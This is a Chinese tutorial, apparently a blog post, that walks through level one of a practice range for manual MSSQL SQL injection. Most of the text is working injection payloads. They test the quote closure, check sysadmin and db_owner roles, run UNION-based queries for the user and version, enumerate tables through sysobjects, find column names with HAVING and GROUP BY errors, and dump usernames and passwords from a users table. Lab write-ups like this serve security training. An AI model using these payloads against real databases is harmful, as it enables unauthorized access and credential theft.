MSSQL 手工注入(第一关)

简介

     SQL注入是一种安全漏洞,通过它可以执行意外的SQL命令或访问数据库中的信息。MSSQL注入通常发生在应用程序将用户输入作为SQL查询的一部分执行时,而没有对输入进行适当的验证或清理。

以下是MSSQL手工注入的流程:

一、打开靶场选择第一关

二、确定注入点

测试不同的闭合方式

这里确定为 id=1' --+

三、判断注入点权限

select is_srvrolemember('sysadmin'); 判断当前是否为 sa

select is_srvrolemember('db_owner'); 判断当前⽤户写⽂件、读⽂件的权限

select is_srvrolemember('public'); 判断是否有 public 权限,可以爆破表

 ' and exists(select is_srvrolemember('sysadmin'))--   判断当前是否为 sa

或 ' and (select is_srvrolemember('sysadmin'))>0--  判断当前是否为 sa

' and (select is_srvrolemember('db_owner'))>0--  判断当前⽤户写⽂件 / 读⽂件的权限

四、查询数据库信息

user: 查询⽤户

db_name(): 查询数据库名

@@version: 查询版本信息

使用语句 ?id=-1'union select 1,user,is_srvrolemember('public');--+  查询用户

使用语句 ?id=-1'union select 1,@@version,is_srvrolemember('public');--+  查询版本信息

五、查询表名

1、查询第一个表名

使用语句  'and (select top 1 cast (name as varchar(256)) from(select top 2 id,name from [sysobjects] where xtype=char(85) and status!=1 order by id)t order by id desc)=1--

2、查询第二个表名

使用语句  -1'and 1=(select top 1 name from sysobjects where xtype='U' and name !='users')--

3、查询第三个表名

使用语句  -1'and 1=(select top 1 name from sysobjects where xtype='U' and name !='users' and name !='emails')--

4、查询第四个表名

使用语句     -1'and 1=(select top 1 name from sysobjects where xtype='U' and name !='users' and name !='emails' and name !='uagents')--

5、查询第五个表名

使用语句   -1'and 1=(select top 1 name from sysobjects where xtype='U' and name !='users' and name !='emails' and name !='uagents' and name !='referers')--

结果为空,则共有四个表

六、确定字段信息

1、确定第一个字段为id

使用语句   'having 1=1--

2、确定第二个字段为username

使用语句  'group by id having 1=1--

3、确定第三个字段为password

使用语句   'group by id ,username having 1=1--

使用语句   'group by id ,username,password having 1=1--

最终确定只有三个字段

七、确定字段内容

1、查询字段数据

1'order by 3-- // 回显正常

1'order by 4-- // 回信错误 #

2、回显存在内容的字段

使用语句   -1'union select 1,2,3 from users--

确定为 2、3

3、 查询字段内容

使用语句   -1' union select 1,username,password from users--+

安全

网络安全靠人民,网络安全为人民 

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值